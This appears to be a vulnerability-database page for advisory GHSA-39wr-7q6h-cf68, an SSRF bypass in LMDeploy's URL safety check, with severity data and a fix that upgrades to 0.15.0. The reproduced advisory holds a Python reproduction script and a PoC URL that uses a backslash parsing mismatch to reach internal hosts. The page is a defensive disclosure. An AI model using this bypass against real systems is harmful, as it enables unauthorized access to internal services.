GHSA-39wr-7q6h-cf68

GHSA-39wr-7q6h-cf68 HIGH
Published September 18, 2026

### Summary The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks. ### Details The current lmdeploy project uses `_is_safe_url` to validate the input URL. The main logic is to perform security checks on the host portion of the URL...

Full CISO analysis pending enrichment.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
LMDeploy pip >= 0.12.3, < 0.15.0 0.15.0
8.1K 1 dependents Pushed 8d ago 60% patched ~17d to patch Full package profile →

Do you use LMDeploy? You're affected.

How severe is it?

CVSS 3.1
7.5 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
N/A

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Unchanged
C High
I None
A None

What should I do?

Patch available

Update LMDeploy to version 0.15.0

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is GHSA-39wr-7q6h-cf68?

### Summary The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks. ### Details The current lmdeploy project uses `_is_safe_url` to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. <img width="943" height="836" alt="QQ20260416-203956-16-1" src="https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d" /> However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using `_is_safe_url` for URL validation, and then using requests.Session().get to send the request. <img width="1086" height="576" alt="QQ20260416-204053-16-2" src="https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a" /> The core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\@1.1.1.1` points to: - `urlparse()` treats `\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public) - `requests` treats `\` as a path character, connecting to `127.0.0.1` (internal) Below is a test code I wrote following the code. ``` from urllib.parse import urlparse import ipaddress import socket import requests def _is_safe_url(url: str) -> tuple[bool, str]: """Check if the URL is safe to fetch (not internal/private).""" try: parsed = urlparse(url) if parsed.scheme not in ("http", "https"): return False, f"Unsupported scheme: {parsed.scheme}" hostname = parsed.hostname if not hostname: return False, "Could not parse hostname from URL" # check all IPs (IPv4 + IPv6) using getaddrinfo try: infos = socket.getaddrinfo(hostname, None) except socket.gaierror: return False, "Hostname resolution failed" for info in infos: ip = ipaddress.ip_address(info[4][0]) # block any IP that is not globally routable (covers private, loopback, # link-local, multicast, reserved, unspecified, etc.) if not ip.is_global: return False, f"Blocked non-global IP detected: {ip}" return True, "URL is safe" except Exception as e: return False, f"URL validation failed: {str(e)}" # url = "http://127.0.0.1:6666" url = "http://127.0.0.1:6666\@1.1.1.1" is_safe, reason = _is_safe_url(url) if not is_safe: raise ValueError(f"URL is blocked for security reasons: {reason}") fetch_timeout = 10 client = requests.Session() client.max_redirects = 3 response = client.get(url, timeout=fetch_timeout, allow_redirects=True) ``` When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. <img width="1286" height="195" alt="QQ20260416-204234-16-3" src="https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9" /> However, when an attacker uses `http://127.0.0.1:6666\@1.1.1.1`, the detection logic resolves the host to `1.1.1.1`, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to `http://127.0.0.1:6666/`, bypassing the detection and achieving an SSRF attack. <img width="2064" height="154" alt="QQ20260416-204319-16-4" src="https://github.com/user-attachments/assets/5da18f35-f400-46e6-9bf3-1330ba424b02" /> ### PoC ``` http://127.0.0.1:6666\@1.1.1.1 ``` ### Impact SSRF

Is GHSA-39wr-7q6h-cf68 actively exploited?

No confirmed active exploitation of GHSA-39wr-7q6h-cf68 has been reported, but organizations should still patch proactively.

How to fix GHSA-39wr-7q6h-cf68?

Update to patched version: LMDeploy 0.15.0.

What is the CVSS score for GHSA-39wr-7q6h-cf68?

GHSA-39wr-7q6h-cf68 has a CVSS v3.1 base score of 7.5 (HIGH).

What are the technical details?

Original Advisory

### Summary The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks. ### Details The current lmdeploy project uses `_is_safe_url` to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. <img width="943" height="836" alt="QQ20260416-203956-16-1" src="https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d" /> However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using `_is_safe_url` for URL validation, and then using requests.Session().get to send the request. <img width="1086" height="576" alt="QQ20260416-204053-16-2" src="https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a" /> The core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\@1.1.1.1` points to: - `urlparse()` treats `\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public) - `requests` treats `\` as a path character, connecting to `127.0.0.1` (internal) Below is a test code I wrote following the code. ``` from urllib.parse import urlparse import ipaddress import socket import requests def _is_safe_url(url: str) -> tuple[bool, str]: """Check if the URL is safe to fetch (not internal/private).""" try: parsed = urlparse(url) if parsed.scheme not in ("http", "https"): return False, f"Unsupported scheme: {parsed.scheme}" hostname = parsed.hostname if not hostname: return False, "Could not parse hostname from URL" # check all IPs (IPv4 + IPv6) using getaddrinfo try: infos = socket.getaddrinfo(hostname, None) except socket.gaierror: return False, "Hostname resolution failed" for info in infos: ip = ipaddress.ip_address(info[4][0]) # block any IP that is not globally routable (covers private, loopback, # link-local, multicast, reserved, unspecified, etc.) if not ip.is_global: return False, f"Blocked non-global IP detected: {ip}" return True, "URL is safe" except Exception as e: return False, f"URL validation failed: {str(e)}" # url = "http://127.0.0.1:6666" url = "http://127.0.0.1:6666\@1.1.1.1" is_safe, reason = _is_safe_url(url) if not is_safe: raise ValueError(f"URL is blocked for security reasons: {reason}") fetch_timeout = 10 client = requests.Session() client.max_redirects = 3 response = client.get(url, timeout=fetch_timeout, allow_redirects=True) ``` When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. <img width="1286" height="195" alt="QQ20260416-204234-16-3" src="https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9" /> However, when an attacker uses `http://127.0.0.1:6666\@1.1.1.1`, the detection logic resolves the host to `1.1.1.1`, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to `http://127.0.0.1:6666/`, bypassing the detection and achieving an SSRF attack. <img width="2064" height="154" alt="QQ20260416-204319-16-4" src="https://github.com/user-attachments/assets/5da18f35-f400-46e6-9bf3-1330ba424b02" /> ### PoC ``` http://127.0.0.1:6666\@1.1.1.1 ``` ### Impact SSRF

Weaknesses (CWE)

CWE-436 — Interpretation Conflict: Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Timeline

Published
September 18, 2026
Last Modified
September 18, 2026
First Seen
September 18, 2026

Related Vulnerabilities